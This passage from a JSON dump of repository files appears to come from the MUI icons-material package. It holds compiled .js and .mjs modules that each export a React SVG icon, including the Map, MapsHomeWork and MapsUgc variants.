    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 9H2V7h5zm0 3H2v2h5zm13.59 7-3.83-3.83c-.8.52-1.74.83-2.76.83-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5c0 1.02-.31 1.96-.83 2.75L22 17.59zM17 11c0-1.65-1.35-3-3-3s-3 1.35-3 3 1.35 3 3 3 3-1.35 3-3M2 19h10v-2H2z\"\n}), 'ManageSearchSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManageSearchSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 9H2V7h5zm0 3H2v2h5zm13.59 7-3.83-3.83c-.8.52-1.74.83-2.76.83-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5c0 1.02-.31 1.96-.83 2.75L22 17.59zM17 11c0-1.65-1.35-3-3-3s-3 1.35-3 3 1.35 3 3 3 3-1.35 3-3M2 19h10v-2H2z\"\n}), 'ManageSearchSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManageSearchTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 12h5v2H2zm16.17 1.75c.52-.79.83-1.73.83-2.75 0-2.76-2.24-5-5-5s-5 2.24-5 5 2.24 5 5 5c1.02 0 1.96-.31 2.76-.83L20.59 19 22 17.59zM14 14c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3M2 7h5v2H2zm0 10h10v2H2z\"\n}), 'ManageSearchTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManageSearchTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 12h5v2H2zm16.17 1.75c.52-.79.83-1.73.83-2.75 0-2.76-2.24-5-5-5s-5 2.24-5 5 2.24 5 5 5c1.02 0 1.96-.31 2.76-.83L20.59 19 22 17.59zM14 14c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3M2 7h5v2H2zm0 10h10v2H2z\"\n}), 'ManageSearchTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Map.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.5 3-.16.03L15 5.1 9 3 3.36 4.9c-.21.07-.36.25-.36.48V20.5c0 .28.22.5.5.5l.16-.03L9 18.9l6 2.1 5.64-1.9c.21-.07.36-.25.36-.48V3.5c0-.28-.22-.5-.5-.5M15 19l-6-2.11V5l6 2.11z\"\n}), 'Map');"
  },
  {
    "path": "packages/mui-icons-material/lib/Map.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.5 3-.16.03L15 5.1 9 3 3.36 4.9c-.21.07-.36.25-.36.48V20.5c0 .28.22.5.5.5l.16-.03L9 18.9l6 2.1 5.64-1.9c.21-.07.36-.25.36-.48V3.5c0-.28-.22-.5-.5-.5M15 19l-6-2.11V5l6 2.11z\"\n}), 'Map');"
  },
  {
    "path": "packages/mui-icons-material/lib/MapOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.5 3-.16.03L15 5.1 9 3 3.36 4.9c-.21.07-.36.25-.36.48V20.5c0 .28.22.5.5.5l.16-.03L9 18.9l6 2.1 5.64-1.9c.21-.07.36-.25.36-.48V3.5c0-.28-.22-.5-.5-.5M10 5.47l4 1.4v11.66l-4-1.4zm-5 .99 3-1.01v11.7l-3 1.16zm14 11.08-3 1.01V6.86l3-1.16z\"\n}), 'MapOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MapOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.5 3-.16.03L15 5.1 9 3 3.36 4.9c-.21.07-.36.25-.36.48V20.5c0 .28.22.5.5.5l.16-.03L9 18.9l6 2.1 5.64-1.9c.21-.07.36-.25.36-.48V3.5c0-.28-.22-.5-.5-.5M10 5.47l4 1.4v11.66l-4-1.4zm-5 .99 3-1.01v11.7l-3 1.16zm14 11.08-3 1.01V6.86l3-1.16z\"\n}), 'MapOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MapRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.65 4.98-5-1.75c-.42-.15-.88-.15-1.3-.01L4.36 4.56C3.55 4.84 3 5.6 3 6.46v11.85c0 1.41 1.41 2.37 2.72 1.86l2.93-1.14c.22-.09.47-.09.69-.01l5 1.75c.42.15.88.15 1.3.01l3.99-1.34c.81-.27 1.36-1.04 1.36-1.9V5.69c0-1.41-1.41-2.37-2.72-1.86l-2.93 1.14c-.22.08-.46.09-.69.01M15 18.89l-6-2.11V5.11l6 2.11z\"\n}), 'MapRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MapRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.65 4.98-5-1.75c-.42-.15-.88-.15-1.3-.01L4.36 4.56C3.55 4.84 3 5.6 3 6.46v11.85c0 1.41 1.41 2.37 2.72 1.86l2.93-1.14c.22-.09.47-.09.69-.01l5 1.75c.42.15.88.15 1.3.01l3.99-1.34c.81-.27 1.36-1.04 1.36-1.9V5.69c0-1.41-1.41-2.37-2.72-1.86l-2.93 1.14c-.22.08-.46.09-.69.01M15 18.89l-6-2.11V5.11l6 2.11z\"\n}), 'MapRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MapSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 5.1 9 3 3 5.02v16.2l6-2.33 6 2.1 6-2.02V2.77zm0 13.79-6-2.11V5.11l6 2.11z\"\n}), 'MapSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MapSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 5.1 9 3 3 5.02v16.2l6-2.33 6 2.1 6-2.02V2.77zm0 13.79-6-2.11V5.11l6 2.11z\"\n}), 'MapSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MapTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m5 18.31 3-1.16V5.45L5 6.46zm11 .24 3-1.01V5.69l-3 1.17z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.5 3-.16.03L15 5.1 9 3 3.36 4.9c-.21.07-.36.25-.36.48V20.5c0 .28.22.5.5.5l.16-.03L9 18.9l6 2.1 5.64-1.9c.21-.07.36-.25.36-.48V3.5c0-.28-.22-.5-.5-.5M8 17.15l-3 1.16V6.46l3-1.01zm6 1.38-4-1.4V5.47l4 1.4zm5-.99-3 1.01V6.86l3-1.16z\"\n}, \"1\")], 'MapTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MapTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m5 18.31 3-1.16V5.45L5 6.46zm11 .24 3-1.01V5.69l-3 1.17z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.5 3-.16.03L15 5.1 9 3 3.36 4.9c-.21.07-.36.25-.36.48V20.5c0 .28.22.5.5.5l.16-.03L9 18.9l6 2.1 5.64-1.9c.21-.07.36-.25.36-.48V3.5c0-.28-.22-.5-.5-.5M8 17.15l-3 1.16V6.46l3-1.01zm6 1.38-4-1.4V5.47l4 1.4zm5-.99-3 1.01V6.86l3-1.16z\"\n}, \"1\")], 'MapTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MapsHomeWork.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 11v10h5v-6h4v6h5V11L8 6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 3v1.97l7 5V11h2v2h-2v2h2v2h-2v4h6V3zm9 6h-2V7h2z\"\n}, \"1\")], 'MapsHomeWork');"
  },
  {
    "path": "packages/mui-icons-material/lib/MapsHomeWork.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 11v10h5v-6h4v6h5V11L8 6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 3v1.97l7 5V11h2v2h-2v2h2v2h-2v4h6V3zm9 6h-2V7h2z\"\n}, \"1\")], 'MapsHomeWork');"
  },
  {
    "path": "packages/mui-icons-material/lib/MapsHomeWorkOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 7h2v2h-2zm0 4h2v2h-2zm0 4h2v2h-2zM1 11v10h6v-5h2v5h6V11L8 6zm12 8h-2v-5H5v5H3v-7l5-3.5 5 3.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 3v1.97l2 1.43V5h9v14h-4v2h6V3z\"\n}, \"1\")], 'MapsHomeWorkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MapsHomeWorkOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 7h2v2h-2zm0 4h2v2h-2zm0 4h2v2h-2zM1 11v10h6v-5h2v5h6V11L8 6zm12 8h-2v-5H5v5H3v-7l5-3.5 5 3.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 3v1.97l2 1.43V5h9v14h-4v2h6V3z\"\n}, \"1\")], 'MapsHomeWorkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MapsHomeWorkRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.16 10.4-5-3.57c-.7-.5-1.63-.5-2.32 0l-5 3.57c-.53.38-.84.98-.84 1.63V20c0 .55.45 1 1 1h4v-6h4v6h4c.55 0 1-.45 1-1v-7.97c0-.65-.31-1.25-.84-1.63\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.03 3h-9.06C10.88 3 10 3.88 10 4.97l.09.09c.08.05.16.09.24.14l5 3.57c.76.54 1.3 1.34 1.54 2.23H19v2h-2v2h2v2h-2v4h4.03c1.09 0 1.97-.88 1.97-1.97V4.97C23 3.88 22.12 3 21.03 3M19 9h-2V7h2z\"\n}, \"1\")], 'MapsHomeWorkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MapsHomeWorkRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.16 10.4-5-3.57c-.7-.5-1.63-.5-2.32 0l-5 3.57c-.53.38-.84.98-.84 1.63V20c0 .55.45 1 1 1h4v-6h4v6h4c.55 0 1-.45 1-1v-7.97c0-.65-.31-1.25-.84-1.63\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.03 3h-9.06C10.88 3 10 3.88 10 4.97l.09.09c.08.05.16.09.24.14l5 3.57c.76.54 1.3 1.34 1.54 2.23H19v2h-2v2h2v2h-2v4h4.03c1.09 0 1.97-.88 1.97-1.97V4.97C23 3.88 22.12 3 21.03 3M19 9h-2V7h2z\"\n}, \"1\")], 'MapsHomeWorkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MapsHomeWorkSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 11v10h5v-6h4v6h5V11L8 6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 3v1.97l7 5V11h2v2h-2v2h2v2h-2v4h6V3zm9 6h-2V7h2z\"\n}, \"1\")], 'MapsHomeWorkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MapsHomeWorkSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 11v10h5v-6h4v6h5V11L8 6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 3v1.97l7 5V11h2v2h-2v2h2v2h-2v4h6V3zm9 6h-2V7h2z\"\n}, \"1\")], 'MapsHomeWorkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MapsHomeWorkTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 11h2v2h-2v2h2v2h-2v2h4V5h-9v1.4l5 3.57zm0-4h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 3v1.97l.96.69L12 6.4V5h9v14h-4v2h6V3z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 12v7h2v-5h6v5h2v-7L8 8.5z\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 7h2v2h-2zm0 4h2v2h-2zm0 4h2v2h-2zM1 11v10h6v-5h2v5h6V11L8 6zm12 8h-2v-5H5v5H3v-7l5-3.5 5 3.5z\"\n}, \"3\")], 'MapsHomeWorkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MapsHomeWorkTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 11h2v2h-2v2h2v2h-2v2h4V5h-9v1.4l5 3.57zm0-4h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 3v1.97l.96.69L12 6.4V5h9v14h-4v2h6V3z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 12v7h2v-5h6v5h2v-7L8 8.5z\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 7h2v2h-2zm0 4h2v2h-2zm0 4h2v2h-2zM1 11v10h6v-5h2v5h6V11L8 6zm12 8h-2v-5H5v5H3v-7l5-3.5 5 3.5z\"\n}, \"3\")], 'MapsHomeWorkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MapsUgc.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M12 2C6.48 2 2 6.48 2 12c0 1.54.36 2.98.97 4.29L1 23l6.71-1.97c1.31.61 2.75.97 4.29.97 5.52 0 10-4.48 10-10S17.52 2 12 2m4 11h-3v3h-2v-3H8v-2h3V8h2v3h3z\"\n}), 'MapsUgc');"
  },
  {
    "path": "packages/mui-icons-material/lib/MapsUgc.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M12 2C6.48 2 2 6.48 2 12c0 1.54.36 2.98.97 4.29L1 23l6.71-1.97c1.31.61 2.75.97 4.29.97 5.52 0 10-4.48 10-10S17.52 2 12 2m4 11h-3v3h-2v-3H8v-2h3V8h2v3h3z\"\n}), 'MapsUgc');"
  },
  {
    "path": "packages/mui-icons-material/lib/MapsUgcOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8c-1.18 0-2.34-.26-3.43-.78-.27-.13-.56-.19-.86-.19-.19 0-.38.03-.56.08l-3.2.94.94-3.2c.14-.47.1-.98-.11-1.42C4.26 14.34 4 13.18 4 12c0-4.41 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12c0 1.54.36 2.98.97 4.29L1 23l6.71-1.97c1.31.61 2.75.97 4.29.97 5.52 0 10-4.48 10-10S17.52 2 12 2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M13 8h-2v3H8v2h3v3h2v-3h3v-2h-3z\"\n}, \"1\")], 'MapsUgcOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MapsUgcOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8c-1.18 0-2.34-.26-3.43-.78-.27-.13-.56-.19-.86-.19-.19 0-.38.03-.56.08l-3.2.94.94-3.2c.14-.47.1-.98-.11-1.42C4.26 14.34 4 13.18 4 12c0-4.41 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12c0 1.54.36 2.98.97 4.29L1 23l6.71-1.97c1.31.61 2.75.97 4.29.97 5.52 0 10-4.48 10-10S17.52 2 12 2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M13 8h-2v3H8v2h3v3h2v-3h3v-2h-3z\"\n}, \"1\")], 'MapsUgcOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MapsUgcRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c4.97 0 8.9 4.56 7.82 9.72-.68 3.23-3.4 5.74-6.67 6.2-1.59.22-3.14-.01-4.58-.7-.27-.13-.56-.19-.86-.19-.19 0-.38.03-.56.08l-2.31.68c-.38.11-.74-.24-.63-.63l.7-2.39c.13-.45.07-.92-.14-1.35C4.26 14.34 4 13.18 4 12c0-4.41 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12c0 1.54.36 2.98.97 4.29l-1.46 4.96c-.22.75.49 1.46 1.25 1.23l4.96-1.46c1.66.79 3.56 1.15 5.58.89 4.56-.59 8.21-4.35 8.66-8.92C22.53 7.03 17.85 2 12 2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M12 8c-.55 0-1 .45-1 1v2H9c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h2c.55 0 1-.45 1-1s-.45-1-1-1h-2V9c0-.55-.45-1-1-1\"\n}, \"1\")], 'MapsUgcRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MapsUgcRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c4.97 0 8.9 4.56 7.82 9.72-.68 3.23-3.4 5.74-6.67 6.2-1.59.22-3.14-.01-4.58-.7-.27-.13-.56-.19-.86-.19-.19 0-.38.03-.56.08l-2.31.68c-.38.11-.74-.24-.63-.63l.7-2.39c.13-.45.07-.92-.14-1.35C4.26 14.34 4 13.18 4 12c0-4.41 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12c0 1.54.36 2.98.97 4.29l-1.46 4.96c-.22.75.49 1.46 1.25 1.23l4.96-1.46c1.66.79 3.56 1.15 5.58.89 4.56-.59 8.21-4.35 8.66-8.92C22.53 7.03 17.85 2 12 2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M12 8c-.55 0-1 .45-1 1v2H9c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h2c.55 0 1-.45 1-1s-.45-1-1-1h-2V9c0-.55-.45-1-1-1\"\n}, \"1\")], 'MapsUgcRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MapsUgcSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8c-1.18 0-2.34-.26-3.43-.78-.27-.13-.56-.19-.86-.19-.19 0-.38.03-.56.08l-3.2.94.94-3.2c.14-.47.1-.98-.11-1.42C4.26 14.34 4 13.18 4 12c0-4.41 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12c0 1.54.36 2.98.97 4.29L1 23l6.71-1.97c1.31.61 2.75.97 4.29.97 5.52 0 10-4.48 10-10S17.52 2 12 2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M13 8h-2v3H8v2h3v3h2v-3h3v-2h-3z\"\n}, \"1\")], 'MapsUgcSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MapsUgcSharp.mjs",
